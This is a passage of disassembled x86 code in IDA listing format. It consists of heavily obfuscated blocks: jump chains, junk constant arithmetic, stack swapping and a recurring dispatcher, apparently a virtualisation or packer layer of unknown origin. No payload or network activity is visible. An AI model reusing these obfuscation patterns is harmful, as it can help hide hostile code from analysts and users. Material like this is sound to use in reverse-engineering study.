439B55E3h sub ecx, esi pop esi or ecx, 1D7E4492h inc ecx sub ecx, 45D92796h add eax, ecx pop ecx sub eax, ecx sub eax, 7826450Ah pop ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_5849B8: ; DATA XREF: sub_580566+3DDEo mov ax, word ptr [esp-30h+arg_28] push ebp push esp push [esp-28h+arg_20] mov ebp, [esp-24h+arg_1A+2] jmp loc_5872FE ; --------------------------------------------------------------------------- loc_5849C9: ; CODE XREF: sub_580566+E805j neg ebx push 5644h mov [esp-20h+arg_16+2], eax mov eax, 39730494h add eax, 0FC32B61h sub ebx, eax mov eax, [esp-20h+arg_16+2] add esp, 4 jmp loc_584498 ; --------------------------------------------------------------------------- loc_5849ED: ; CODE XREF: sub_580566+86F0j mov eax, 2C5A65F5h or edi, eax pop eax jmp loc_5883A0 ; --------------------------------------------------------------------------- loc_5849FA: ; CODE XREF: sub_580566+5302j pop [esp-28h+arg_20] push esi jmp loc_587B76 ; --------------------------------------------------------------------------- loc_584A03: ; CODE XREF: sub_580566+A948j push ecx push ebp jmp loc_58613D ; --------------------------------------------------------------------------- loc_584A0A: ; CODE XREF: sub_580566+65F9j add edi, edx jmp loc_588620 ; --------------------------------------------------------------------------- loc_584A11: ; CODE XREF: sub_580566+B560j imul ecx, eax push ecx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_584A1B: ; CODE XREF: sub_580566+9C12j add edi, 2 xor edi, [esp-18h+arg_E+2] xor [esp-18h+arg_E+2], edi jmp loc_58F90F ; --------------------------------------------------------------------------- loc_584A2C: ; DATA XREF: sub_580566+3E52o mov cx, word ptr [esp-30h+arg_28] push 72AEh jmp loc_58748D ; --------------------------------------------------------------------------- loc_584A3A: ; CODE XREF: sub_580566+8B71j add esi, 49257D16h jmp loc_58FB46 ; --------------------------------------------------------------------------- loc_584A45: ; CODE XREF: sub_580566+E2ECj pop ecx neg dl mov bh, dl jmp loc_58603D ; --------------------------------------------------------------------------- loc_584A4F: ; CODE XREF: sub_580566+1004Fj add [esp-30h+arg_28], 4 mov ebx, [esp-30h+arg_28] jmp loc_58477C ; --------------------------------------------------------------------------- loc_584A5E: ; CODE XREF: sub_580566+EDC6j push eax mov eax, 5743A7Bh sub ebx, eax mov eax, [esp-2Ch+arg_24] jmp loc_589220 ; --------------------------------------------------------------------------- loc_584A6E: ; CODE XREF: sub_580566+9ADFj push eax mov eax, 0 sub eax, ecx jmp loc_58D9A7 ; --------------------------------------------------------------------------- loc_584A7B: ; CODE XREF: sub_580566+B6CEj add ecx, 4 add ecx, 2 xchg ecx, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] bts word ptr [esp-28h+arg_20], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_584A95: ; CODE XREF: sub_580566+B97Dj mov ebp, 2 push ebp mov ebp, 7CBA5C60h push edi mov edi, 513A1D67h neg edi shr edi, 3 sub edi, 0E9F15D37h add ebp, edi pop edi push 0DF2h mov [esp-1Ch+arg_12+2], edi mov edi, 0FFFFFFFFh add ebp, edi mov edi, [esp-1Ch+arg_12+2] add esp, 4 neg ebp jmp loc_58D5AF ; --------------------------------------------------------------------------- loc_584AD0: ; DATA XREF: sub_580566+3D22o push ebx jmp loc_58EE5D ; --------------------------------------------------------------------------- loc_584AD6: ; CODE XREF: sub_580566+CAE0j dec ebp xor ebp, 0A7BCB10Ch jmp loc_58FF06 ; --------------------------------------------------------------------------- loc_584AE2: ; CODE XREF: sub_580566+42BFj sub ebx, 152C21ACh add ebx, ebp jmp loc_585BD7 ; --------------------------------------------------------------------------- loc_584AEF: ; CODE XREF: sub_580566+8D61j push esi mov esi, esp add esi, 4 jmp loc_5856E7 ; --------------------------------------------------------------------------- loc_584AFD: ; CODE XREF: sub_580566+F7C1j add ecx, 619C72FEh pop edi xor ecx, [esp-2Eh+arg_24+2] xor [esp-2Eh+arg_24+2], ecx jmp loc_58B69E ; --------------------------------------------------------------------------- loc_584B0F: ; CODE XREF: sub_580566+B493j push esi mov esi, 649D13C4h mov eax, 0F6366AFh add eax, 1 xor eax, 3DE10F7h jmp loc_58F3EF ; --------------------------------------------------------------------------- loc_584B29: ; CODE XREF: sub_580566+A861j add ecx, 4 sub ecx, 4 xchg ecx, [esp-2Ah+arg_20+2] pop esp mov [esp-2Eh+arg_24+2], ebx sub [esp-2Eh+arg_24+2], 64614475h jmp loc_587B27 ; --------------------------------------------------------------------------- loc_584B48: ; CODE XREF: sub_580566+BC1Ej pop edx pop esi push 4F61h mov [esp-32h+arg_28+2], ecx push esp pop ecx add ecx, 4 jmp loc_58C189 ; --------------------------------------------------------------------------- loc_584B5F: ; CODE XREF: sub_580566+6D8Dj mov [esp-32h+arg_28+2], edi push ebp push 5E645AA1h push [esp-2Ah+arg_20+2] pop ebp add esp, 4 sub ebp, 5E644AA1h mov edi, ebp jmp loc_58577A ; --------------------------------------------------------------------------- loc_584B7C: ; CODE XREF: sub_580566+B64Ej mov ebp, 42FF381Ch and edx, ebp pop ebp or edx, 695803B6h neg edx xor edx, 7E467B1Bh push edi mov edi, 7E224E7Eh sub edx, edi pop edi and esi, edx pop edx xor esi, 64A52244h shr esi, 4 xor esi, 3AB75693h add ebx, esi jmp loc_585418 ; --------------------------------------------------------------------------- loc_584BB4: ; CODE XREF: sub_580566+9FD3j add ecx, 4 push ecx push [esp-32h+arg_2C+2] pop ecx pop [esp-32h+arg_28+2] mov esp, [esp-36h+arg_2C+2] jmp loc_58D46A ; --------------------------------------------------------------------------- loc_584BCB: ; CODE XREF: sub_580566+EE2Ej xchg ebx, [esp-36h+arg_2C+2] pop esp jmp loc_58A391 ; --------------------------------------------------------------------------- loc_584BD4: ; CODE XREF: sub_580566+E2BAj pop ebx add esp, 4 pop ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_584BDE: ; CODE XREF: sub_580566+BF05j not ecx jmp loc_589A2D ; --------------------------------------------------------------------------- loc_584BE5: ; CODE XREF: sub_580566+D5BEj pop ebp jmp loc_586717 ; --------------------------------------------------------------------------- loc_584BEB: ; CODE XREF: sub_580566+70C7j sub esp, 2 mov word ptr [esp-46h+arg_3C+2], bx push ecx mov ch, 0A0h mov bh, ch pop ecx sub dl, bh mov bx, word ptr [esp-46h+arg_3C+2] add esp, 2 xor al, dl mov edx, [esp-4Ah+arg_40+2] jmp loc_58B294 ; --------------------------------------------------------------------------- loc_584C11: ; CODE XREF: sub_580566+9C41j push esi mov esi, 3C522358h jmp loc_589A9C ; --------------------------------------------------------------------------- loc_584C1C: ; CODE XREF: sub_580566+CBA9j add esp, 4 pop [esp-4Ah+arg_40+2] mov esp, [esp-4Eh+arg_44+2] jmp loc_58B8FE ; --------------------------------------------------------------------------- loc_584C2D: ; CODE XREF: sub_580566+6633j push edi mov edi, 2946510Ah shl edi, 2 and edi, 5F0C1471h inc edi neg edi not edi add edi, 6AE93C34h mov ebx, edi pop edi add ebx, 900EBFE8h add ebx, 3D8205A9h add ebx, edi jmp loc_584F31 ; --------------------------------------------------------------------------- loc_584C5D: ; CODE XREF: sub_580566+5D2Dj mov ecx, 0 add ecx, ebx mov [ecx], dl mov ecx, [esp-4Eh+arg_44+2] add esp, 4 mov ebx, [esp-52h+arg_48+2] push 0E6Ch mov [esp-4Eh+arg_44+2], eax mov eax, esp jmp loc_5906A0 ; --------------------------------------------------------------------------- loc_584C7E: ; CODE XREF: sub_580566+3FA3j shl edx, 1 jmp loc_58B3FD ; --------------------------------------------------------------------------- loc_584C85: ; CODE XREF: sub_580566+D293j push edi push 28504DC9h mov edi, [esp-1Ch+arg_12+2] jmp loc_58A634 ; --------------------------------------------------------------------------- loc_584C93: ; CODE XREF: sub_580566+E8E7j mov esp, [esp-1Ch+arg_12+2] add byte ptr [esp-1Ch+arg_12+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_584C9F: ; CODE XREF: sub_580566+FA64j pop edx sub edx, 79E7C3FCh sub edx, 7ADF0654h jmp loc_58FA09 ; --------------------------------------------------------------------------- loc_584CB1: ; CODE XREF: sub_580566+6FE1j mov esi, [esp-1Ch+arg_12+2] add esp, 4 sub ecx, 4B896379h add ecx, 0B4F1149h not ecx not ecx push 66A3h mov [esp-1Ch+arg_12+2], edi jmp loc_5884E9 ; --------------------------------------------------------------------------- loc_584CD7: ; CODE XREF: sub_580566+7EFCj or edi, 1E465087h jmp loc_585545 ; --------------------------------------------------------------------------- loc_584CE2: ; CODE XREF: sub_580566+5949j add al, bh push [esp-1Ch+arg_12+2] jmp loc_584544 ; --------------------------------------------------------------------------- loc_584CEC: ; CODE XREF: sub_580566+F296j sub esi, 4 xchg esi, [esp-18h+arg_E+2] pop esp jmp loc_58CF07 ; --------------------------------------------------------------------------- loc_584CF8: ; CODE XREF: sub_580566+D8E2j mov ecx, 7E576906h dec ecx jmp loc_58ADF2 ; --------------------------------------------------------------------------- loc_584D03: ; CODE XREF: sub_580566+A697j push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_5845EA ; --------------------------------------------------------------------------- loc_584D16: ; CODE XREF: sub_580566+665Fj mul cl movzx cx, ah jmp loc_58C24A ; --------------------------------------------------------------------------- loc_584D21: ; CODE XREF: sub_580566+A106j push 0 sub [esp-18h+arg_E+2], esi pop esi jmp loc_588BBC ; --------------------------------------------------------------------------- loc_584D2F: ; CODE XREF: sub_580566+6EFFj add dh, bh jmp loc_589C2E ; --------------------------------------------------------------------------- loc_584D36: ; CODE XREF: sub_580566+557Fj xor ebx, eax jmp loc_58536D ; --------------------------------------------------------------------------- loc_584D3D: ; CODE XREF: sub_580566+80DCj add esp, 4 push ecx push [esp-1Ch+arg_16+2] jmp loc_584899 ; --------------------------------------------------------------------------- loc_584D4D: ; CODE XREF: sub_580566+8FFFj xchg edi, [esp-18h+arg_E+2] mov esp, [esp-18h+arg_E+2] push 41D7h mov [esp-14h+arg_A+2], esi mov esi, esp push ecx jmp loc_5899B1 ; --------------------------------------------------------------------------- loc_584D63: ; CODE XREF: sub_580566+FC92j pop esp mov [esp-14h+arg_A+2], ebx push esp pop ebx sub esp, 4 mov [esp+0], esi jmp loc_585373 ; --------------------------------------------------------------------------- loc_584D77: ; CODE XREF: sub_580566+BA8Cj push dword ptr [edi+eax*4] sub esp, 4 mov [esp-8+arg_4], eax jmp loc_586467 ; --------------------------------------------------------------------------- loc_584D88: ; CODE XREF: sub_580566+7960j xor ecx, eax pop eax add ebp, ecx mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp loc_584ED0 ; --------------------------------------------------------------------------- loc_584D9B: ; CODE XREF: sub_580566+5148j add esi, ebx pop ebx xchg esi, [esp-14h+arg_A+2] pop esp push 57A9h mov [esp-14h+arg_A+2], ebp jmp loc_588323 ; --------------------------------------------------------------------------- loc_584DAF: ; CODE XREF: sub_580566+83A7j mov ecx, [esp-14h+arg_A+2] add esp, 4 jmp loc_587D1F ; --------------------------------------------------------------------------- loc_584DBD: ; CODE XREF: sub_580566+AF76j push esp jmp loc_58AD8B ; --------------------------------------------------------------------------- loc_584DC3: ; CODE XREF: sub_580566+6898j add ebx, 1ACB6366h jmp loc_58BA92 ; --------------------------------------------------------------------------- loc_584DCE: ; CODE XREF: sub_580566+7AAEj xor bl, 9Dh sub al, bl pop ebx add al, bl add al, 0CDh push ecx jmp loc_587C55 ; --------------------------------------------------------------------------- loc_584DDE: ; DATA XREF: sub_580566+3E0Ao lodsb jmp loc_58AB19 ; --------------------------------------------------------------------------- loc_584DE4: ; CODE XREF: sub_580566+81E6j mov ebx, 65E01A45h add esi, ebx mov ebx, [esp-30h+arg_28] add esp, 4 jmp loc_58673B ; --------------------------------------------------------------------------- loc_584DF9: ; CODE XREF: sub_580566+4036j mov eax, [esp+4+var_4] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], ebp mov ebp, esp push esi jmp loc_58F53B ; --------------------------------------------------------------------------- loc_584E1B: ; CODE XREF: sub_580566+764Ej add ecx, 65B13017h jmp loc_585CDE ; --------------------------------------------------------------------------- loc_584E26: ; CODE XREF: sub_580566+8E47j mov [esp+0Ch+var_C], ebx mov ebx, esp push edi mov edi, 692F60BDh push ebp mov ebp, 2003AF6h xchg ecx, ebp push ecx not [esp+18h+var_18] jmp loc_586F31 ; --------------------------------------------------------------------------- loc_584E42: ; CODE XREF: sub_580566+85C3j not al jmp loc_58B21C ; --------------------------------------------------------------------------- loc_584E49: ; CODE XREF: sub_580566+8D7Bj mov eax, 4D4C793Dh sub eax, 0FFFFFFFFh xor eax, 76E04474h push edx mov edx, 486E4E32h add eax, edx jmp loc_58DD7B ; --------------------------------------------------------------------------- loc_584E65: ; CODE XREF: sub_580566+866Aj push esi push eax jmp loc_5856B3 ; --------------------------------------------------------------------------- loc_584E6C: ; DATA XREF: sub_580566+3E1Eo push esi push ecx push 4B895ED2h pop ecx xor ecx, 12426C77h push 891h mov [esp-24h+arg_1A+2], edi sub esp, 4 mov [esp-20h+arg_16+2], ebx mov ebx, 401C5CC6h shr ebx, 1 and ebx, 73C53342h shl ebx, 2 shl ebx, 7 sub ebx, 1 sub ebx, 0B1AF7030h mov edi, ebx pop ebx sub ecx, edi mov edi, [esp-24h+arg_1A+2] push ecx jmp loc_58A1F0 ; --------------------------------------------------------------------------- loc_584EB5: ; CODE XREF: sub_580566+AD0Fj sub ebx, 4F933AE0h jmp loc_587C67 ; --------------------------------------------------------------------------- loc_584EC0: ; CODE XREF: sub_580566+C044j push esi jmp loc_586376 ; --------------------------------------------------------------------------- loc_584EC6: ; CODE XREF: sub_580566+51F5j mov ebp, 1E670CD3h jmp loc_589D91 ; --------------------------------------------------------------------------- loc_584ED0: ; CODE XREF: sub_580566+4830j sub ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp mov [esp-14h+arg_A+2], edx mov dh, 0A8h add al, dh jmp loc_58EE8C ; --------------------------------------------------------------------------- loc_584EEC: ; CODE XREF: sub_580566+9FB0j add ebp, 56BF0B6Ah neg ebp add ebp, 0C5618743h jmp loc_589EED ; --------------------------------------------------------------------------- loc_584EFF: ; CODE XREF: sub_580566+9642j xor edi, 4EC414D5h push eax push edx mov edx, 0CE62705Eh jmp loc_58A9B7 ; --------------------------------------------------------------------------- loc_584F11: ; CODE XREF: sub_580566+E69Fj xor edi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edi xor edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] sub ebx, 6F3F7360h push 16CCh mov [esp-8+arg_4], esi push ebx jmp loc_58FCB4 ; --------------------------------------------------------------------------- loc_584F31: ; CODE XREF: sub_580566+46F2j sub esp, 4 mov [esp-4Ah+arg_40+2], esi jmp loc_58490D ; --------------------------------------------------------------------------- loc_584F3C: ; CODE XREF: sub_580566+6C87j xchg ecx, [esp-4Ah+arg_40+2] jmp loc_58B5AC ; --------------------------------------------------------------------------- loc_584F44: ; CODE XREF: sub_580566+6AE9j add ebx, ecx pop ecx push edx push ebx mov ebx, 2 jmp loc_58C5AF ; --------------------------------------------------------------------------- loc_584F53: ; CODE XREF: sub_580566+A3B2j pop esp jmp loc_58B061 ; --------------------------------------------------------------------------- loc_584F59: ; CODE XREF: sub_580566+7B27j inc edx shl edx, 2 jmp loc_5866DD ; --------------------------------------------------------------------------- loc_584F62: ; CODE XREF: sub_580566+8C12j mov esp, [esp-4Ah+arg_40+2] shr byte ptr [esp-4Ah+arg_40+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_584F6E: ; CODE XREF: sub_580566+6BC9j push 2275h mov [esp-42h+arg_38+2], ebx sub esp, 4 mov [esp-3Eh+arg_34+2], ecx mov ecx, 2A137C62h mov ebx, ecx pop ecx push ecx push 6577224Fh pop ecx sub ecx, 36F1014Fh xchg esi, ecx inc esi xchg esi, ecx not ecx push 0A1Ch mov [esp-3Ah+arg_30+2], edx jmp loc_586E22 ; --------------------------------------------------------------------------- loc_584FA8: ; CODE XREF: sub_580566+4045j xchg ecx, [esp+4+var_4] jmp loc_58E274 ; --------------------------------------------------------------------------- loc_584FB0: ; CODE XREF: sub_580566+F4EAj add eax, 4D2E2F68h pop ecx push edx push ebp jmp loc_589228 ; --------------------------------------------------------------------------- loc_584FBD: ; DATA XREF: sub_580566+3D3Ao lodsd xor eax, ebx sub esp, 4 mov [esp-2Ch+arg_24], ecx mov ecx, 61735AFCh not ecx dec ecx shl ecx, 7 push ebp push 74BDh mov [esp-24h+arg_1A+2], ecx push edx mov edx, 1D721AF3h mov ecx, 7D4158D7h xor ecx, edx pop edx jmp loc_590109 ; --------------------------------------------------------------------------- loc_584FF0: ; CODE XREF: sub_580566+CE82j pop eax push ecx jmp loc_5885EC ; --------------------------------------------------------------------------- loc_584FF7: ; CODE XREF: sub_580566+77F4j sub esp, 4 mov [esp-20h+arg_16+2], ecx mov ch, 0F7h not ch shr ch, 8 or ch, 19h jmp loc_588C33 ; --------------------------------------------------------------------------- loc_58500C: ; DATA XREF: sub_580566+3C66o lodsb push edx sub esp, 4 mov [esp+4+var_4], ebx jmp loc_5890B1 ; --------------------------------------------------------------------------- loc_585019: ; CODE XREF: sub_580566+F34Cj pop eax add esi, edx pop edx push ecx jmp loc_58E091 ; --------------------------------------------------------------------------- loc_585023: ; CODE XREF: sub_580566+4155j push 36BCh mov [esp-2Ch+arg_24], esp add [esp-2Ch+arg_24], 4 mov esi, [esp-2Ch+arg_24] add esp, 4 sub esp, 4 mov [esp-2Ch+arg_24], eax mov eax, 4 add esi, eax jmp loc_58C5F8 ; --------------------------------------------------------------------------- loc_58504A: ; CODE XREF: sub_580566+BCD8j xor edi, [esp-2Ch+arg_24] mov esp, [esp-2Ch+arg_24] mov cx, word ptr [esp-2Ch+arg_24] push 2ACAh mov [esp-28h+arg_20], ecx jmp loc_585CAD ; --------------------------------------------------------------------------- loc_585061: ; CODE XREF: sub_580566+4EA7j sub ebx, 4E9B0DE8h jmp loc_586137 ; --------------------------------------------------------------------------- loc_58506C: ; CODE XREF: sub_580566+7ACCj xchg eax, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] sub esp, 4 mov [esp-24h+arg_1A+2], ecx push ebx push 3F96h mov [esp-1Ch+arg_12+2], edi mov edi, 7F393B36h sub edi, 0FFFFFFFFh jmp loc_58B23A ; --------------------------------------------------------------------------- loc_585091: ; CODE XREF: sub_580566+7D20j mov [esp-1Ch+arg_12+2], eax jmp loc_58E51F ; --------------------------------------------------------------------------- loc_585099: ; CODE XREF: sub_580566+B5E8j push ebp jmp loc_587833 ; --------------------------------------------------------------------------- loc_58509F: ; CODE XREF: sub_580566+6499j pop ecx sub al, 0F2h add al, bl push ebx push ecx jmp loc_58A30C ; --------------------------------------------------------------------------- loc_5850AB: ; CODE XREF: sub_580566+E677j mov [esp-14h+arg_A+2], ecx mov ecx, 4438789Ah push edi push edx mov edx, 2BDC4BB8h push edx pop edi pop edx add ebx, edi pop edi add ebx, ecx push esi mov esi, 21E56DFAh inc esi xor esi, 417B734Fh xor esi, 4B42550Ch add ebx, 578F4303h sub ebx, esi sub ebx, 578F4303h pop esi jmp loc_58C689 ; --------------------------------------------------------------------------- loc_5850E9: ; CODE XREF: sub_580566+B39Cj jmp loc_584473 ; --------------------------------------------------------------------------- loc_5850EE: ; CODE XREF: sub_580566+DB14j push ecx mov ecx, 3F704DDFh push ebp mov ebp, 3AD15493h neg ebp shr ebp, 7 and ebp, 6A935E37h or ebp, 60264AB2h jmp loc_58FD77 ; --------------------------------------------------------------------------- loc_585110: ; CODE XREF: sub_580566+4E77j xor esi, edi pop edi sub esi, 0BB752414h xor ebx, esi pop esi add esi, 4BF64D95h add esi, ebx sub esi, 4BF64D95h pop ebx xor esi, [esp-18h+arg_E+2] jmp loc_587780 ; --------------------------------------------------------------------------- loc_585133: ; CODE XREF: sub_580566+A8FEj pop esp add eax, edx sub eax, 477B76h pop edx push edi mov edi, 39346E10h push edi xchg eax, [esp-18h+arg_E+2] not eax xchg eax, [esp-18h+arg_E+2] jmp loc_58A33B ; --------------------------------------------------------------------------- loc_585150: ; CODE XREF: sub_580566+FCDEj pop ecx push 15F8h mov [esp-18h+arg_E+2], edi mov edi, esp add edi, 4 push esi jmp loc_5893BB ; --------------------------------------------------------------------------- loc_585167: ; CODE XREF: sub_580566+8A8Dj push ebx mov ebx, 0E8C4BABh dec ebx jmp loc_58900A ; --------------------------------------------------------------------------- loc_585173: ; CODE XREF: sub_580566+AC40j push 0E9025F6h pop ebx and ebx, 2BB30AB4h push ebp mov ebp, 0A8449E8h jmp loc_590550 ; --------------------------------------------------------------------------- loc_58518A: ; CODE XREF: sub_580566+EC01j mov edx, 5DC26B2Bh add edx, 0A23D94D7h mov ebp, edx pop edx add esi, ebp mov ebp, [esp+0] add esp, 4 xchg esi, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] push ebx push ecx jmp loc_5894C2 ; --------------------------------------------------------------------------- loc_5851B0: ; CODE XREF: sub_580566+6794j xor dl, al pop ax sub bl, dl mov edx, [esp-0Eh+arg_8+2] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push eax push ebp push esi push 4F3530DDh jmp loc_58C1E1 ; --------------------------------------------------------------------------- loc_5851CF: ; CODE XREF: sub_580566+D5A3j add ecx, edi pop edi push ecx push dword ptr [esp+4] mov ecx, [esp+6+var_8+2] add esp, 4 pop [esp+2+var_4+2] jmp loc_587E48 ; --------------------------------------------------------------------------- loc_5851E5: ; CODE XREF: sub_580566+BCB5j push eax mov ah, 0C7h jmp loc_58DC16 ; --------------------------------------------------------------------------- loc_5851ED: ; CODE XREF: sub_580566+4DA7j push esi mov esi, 55C6399Fh mov ebp, 6C2E0CF5h jmp loc_58ED42 ; --------------------------------------------------------------------------- loc_5851FD: ; CODE XREF: sub_580566+7C42j inc ebx jmp loc_5875A4 ; --------------------------------------------------------------------------- loc_585203: ; CODE XREF: sub_580566+B163j or ecx, 64FB79FDh jmp loc_58C692 ; --------------------------------------------------------------------------- loc_58520E: ; CODE XREF: sub_580566+F5CDj pop [esp+6+var_8+2] mov esp, [esp+2+var_4+2] jmp loc_58C5EF ; --------------------------------------------------------------------------- loc_585219: ; CODE XREF: sub_580566+AEEBj pop ebx push esi push ecx jmp loc_58B6C4 ; --------------------------------------------------------------------------- loc_585221: ; CODE XREF: sub_580566+ABB5j mov [esp+6+var_8+2], eax xor [esp+6+var_8+2], ebx xor ebx, [esp+6+var_8+2] jmp loc_58D617 ; --------------------------------------------------------------------------- loc_58522F: ; CODE XREF: sub_580566+9044j add bl, 72h add bl, 0FFh xor bl, 3Fh add al, 71h sub al, 0A3h jmp loc_58BFCA ; --------------------------------------------------------------------------- loc_585241: ; CODE XREF: sub_580566+6B82j xchg esi, [esp+6+var_8+2] pop ecx add ecx, 3E442E9Dh add esi, ecx pop ecx add esi, 4 xchg esi, [esp+0] pop esp push dword ptr [esp+0] mov ecx, [esp+0] add esp, 4 push ebx jmp loc_58B258 ; --------------------------------------------------------------------------- loc_58526A: ; CODE XREF: sub_580566+8004j mov ebp, 5AFC2D20h sub ebp, 442128E0h jmp loc_589F72 ; --------------------------------------------------------------------------- loc_58527A: ; CODE XREF: sub_580566+B50Bj mov edx, esp add edx, 4 sub esp, 4 mov [esp+2+var_4+2], eax jmp loc_58BB73 ; --------------------------------------------------------------------------- loc_585290: ; CODE XREF: sub_580566+B23Fj add ax, 7255h add ax, bx sub ax, 7255h jmp loc_58B511 ; --------------------------------------------------------------------------- loc_5852A0: ; CODE XREF: sub_580566+9AADj dec eax and eax, 2FAE139Dh inc eax or eax, 10B277F6h sub eax, 10B677F5h jmp loc_586B9E ; --------------------------------------------------------------------------- loc_5852B6: ; CODE XREF: sub_580566+D734j neg ebx jmp loc_585BF3 ; --------------------------------------------------------------------------- loc_5852BD: ; CODE XREF: sub_580566+55BCj add ebp, 0B53AF79Ch sub ecx, 7F2F5179h add ecx, ebp add ecx, 7F2F5179h mov ebp, [esp+2+var_4+2] add esp, 4 push ecx jmp loc_587CC8 ; --------------------------------------------------------------------------- loc_5852E0: ; CODE XREF: sub_580566+EDDAj add bx, dx jmp loc_58E842 ; --------------------------------------------------------------------------- loc_5852E8: ; CODE XREF: sub_580566+D3A6j jmp loc_584473 ; --------------------------------------------------------------------------- loc_5852ED: ; CODE XREF: sub_580566+BCA2j push ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp+2+var_4+2] pop esp mov [esp+0], edx sub esp, 4 mov [esp+2+var_4+2], eax push ecx sub esp, 4 mov [esp+0Ah+var_C+2], ebp jmp loc_5851ED ; --------------------------------------------------------------------------- loc_585312: ; CODE XREF: sub_580566+D982j mov [esp+0Ah+var_C+2], ecx jmp loc_58623D ; --------------------------------------------------------------------------- loc_58531A: ; CODE XREF: sub_580566+B5F1j mov edi, esp add edi, 4 jmp loc_58822D ; --------------------------------------------------------------------------- loc_585327: ; CODE XREF: sub_580566+DF18j add esi, 72D84181h add esi, eax jmp loc_5896BB ; --------------------------------------------------------------------------- loc_585334: ; CODE XREF: sub_580566+9544j add esi, 8A446B03h sub ebx, 57AA5C8Fh add ebx, esi add ebx, 57AA5C8Fh jmp loc_58C304 ; --------------------------------------------------------------------------- loc_58534D: ; CODE XREF: sub_580566+D4A3j sub [esp+0Ah+var_8+2], eax pop eax push 2A79h jmp loc_587E8C ; --------------------------------------------------------------------------- loc_58535C: ; CODE XREF: sub_580566+D591j shr edi, 3 xor edi, 13A65EBCh xor ecx, edi pop edi jmp loc_58D87D ; --------------------------------------------------------------------------- loc_58536D: ; CODE XREF: sub_580566+47D2j push ebp jmp loc_58D664 ; --------------------------------------------------------------------------- loc_585373: ; CODE XREF: sub_580566+480Cj mov esi, 4 add ebx, esi jmp loc_58872B ; --------------------------------------------------------------------------- loc_58537F: ; CODE XREF: sub_580566+EEB2j pop ecx sub dh, 0DAh not dh or dh, 6Fh add dh, 55h jmp loc_586C04 ; --------------------------------------------------------------------------- loc_585390: ; CODE XREF: sub_580566+D1FFj and edx, 301D4535h shl edx, 2 push edi mov edi, 58A6D070h sub edx, edi pop edi sub ebx, edx pop edx and ebx, 90E5194h xor ebx, 255725E5h add ebx, 0F332EF85h jmp loc_587D9D ; --------------------------------------------------------------------------- loc_5853BC: ; CODE XREF: sub_580566+F85Bj shl edx, 2 push ebx push ebp jmp loc_587BB9 ; --------------------------------------------------------------------------- loc_5853C6: ; CODE XREF: sub_580566+A1DCj shl ebx, 2 push ecx mov ecx, 17106878h jmp loc_58C8CB ; --------------------------------------------------------------------------- loc_5853D4: ; CODE XREF: sub_580566+E7CAj add edi, ebp pop ebp sub edi, 8D82223Ah jmp loc_585110 ; --------------------------------------------------------------------------- loc_5853E2: ; CODE XREF: sub_580566+4352j add esp, 4 push 2514h mov [esp+0], ebp jmp loc_5884C1 ; --------------------------------------------------------------------------- loc_5853F2: ; CODE XREF: sub_580566+A887j mov ebx, 0FA41101Fh add ebx, esi jmp loc_58FB38 ; --------------------------------------------------------------------------- loc_5853FE: ; CODE XREF: sub_580566+5913j sub ebx, 7E9C1711h pop ecx add ebx, 4E9B0DE8h add ebx, ecx jmp loc_585061 ; --------------------------------------------------------------------------- loc_585412: ; CODE XREF: sub_580566+E8F2j pop esp jmp loc_58EA67 ; --------------------------------------------------------------------------- loc_585418: ; CODE XREF: sub_580566+4649j pop esi sub ebx, eax push edx mov edx, 38F906B3h sub ebx, edx pop edx push 26Fh mov [esp-36h+arg_2C+2], esi push ecx mov ecx, 13FB0100h add ecx, 1F3140CFh inc ecx add ecx, 419C5543h jmp loc_58B27A ; --------------------------------------------------------------------------- loc_585444: ; CODE XREF: sub_580566+CA1Fj push edi mov edi, 6BC62DFAh jmp loc_589BCF ; --------------------------------------------------------------------------- loc_58544F: ; CODE XREF: sub_580566+54C4j push [esp-2Eh+arg_24+2] mov edx, [esp-2Ah+arg_20+2] add esp, 4 push 50F2h mov [esp-2Ah+arg_20+2], edi mov edi, esp push ebx mov ebx, 4 jmp loc_58B92E ; --------------------------------------------------------------------------- loc_58546D: ; CODE XREF: sub_580566+BF25j sub esp, 4 mov [esp-22h+arg_1A], edx push ecx push edx mov dl, 0F4h mov cl, dl pop edx push eax push ebx mov bh, cl mov ah, bh pop ebx push ecx mov cl, ah mov dl, cl jmp loc_58B831 ; --------------------------------------------------------------------------- loc_58548E: ; CODE XREF: sub_580566+B349j add edi, 1FFC0C3Eh add edi, ebx sub edi, 1FFC0C3Eh push ebp mov ebp, 49AE2386h sub edi, ebp mov ebp, [esp-12h+arg_A] add esp, 4 mov ebx, [esp-16h+arg_E] add esp, 4 add edi, esi sub edi, 2C975282h pop esi add edi, 2 xchg edi, [esp-1Eh+arg_16] jmp loc_58E5DD ; --------------------------------------------------------------------------- loc_5854C7: ; CODE XREF: sub_580566+A77Cj pop edx sub bl, al jmp loc_5858C7 ; --------------------------------------------------------------------------- loc_5854CF: ; CODE XREF: sub_580566+6C38j sub ecx, 2663767h push ebx mov ebx, 63CD4EAEh sub ecx, ebx pop ebx push ebp mov ebp, 2C87098Eh jmp loc_58E045 ; --------------------------------------------------------------------------- loc_5854E9: ; CODE XREF: sub_580566+5E2Ej and edi, esi pop esi add edi, 1B962791h and edx, edi jmp loc_5848BD ; --------------------------------------------------------------------------- loc_5854F9: ; CODE XREF: sub_580566+B9F9j sub esp, 4 mov [esp-1Eh+arg_16], ebx mov bl, 4Dh jmp loc_58F0A2 ; --------------------------------------------------------------------------- loc_585509: ; CODE XREF: sub_580566+9582j mov edx, [esp-1Eh+arg_16] add esp, 4 pop [esp-22h+arg_1A] mov esp, [esp+0] mov [esp+0], ebx push 5103h mov [esp-22h+arg_1A], ebp sub esp, 4 mov [esp-1Eh+arg_16], edi 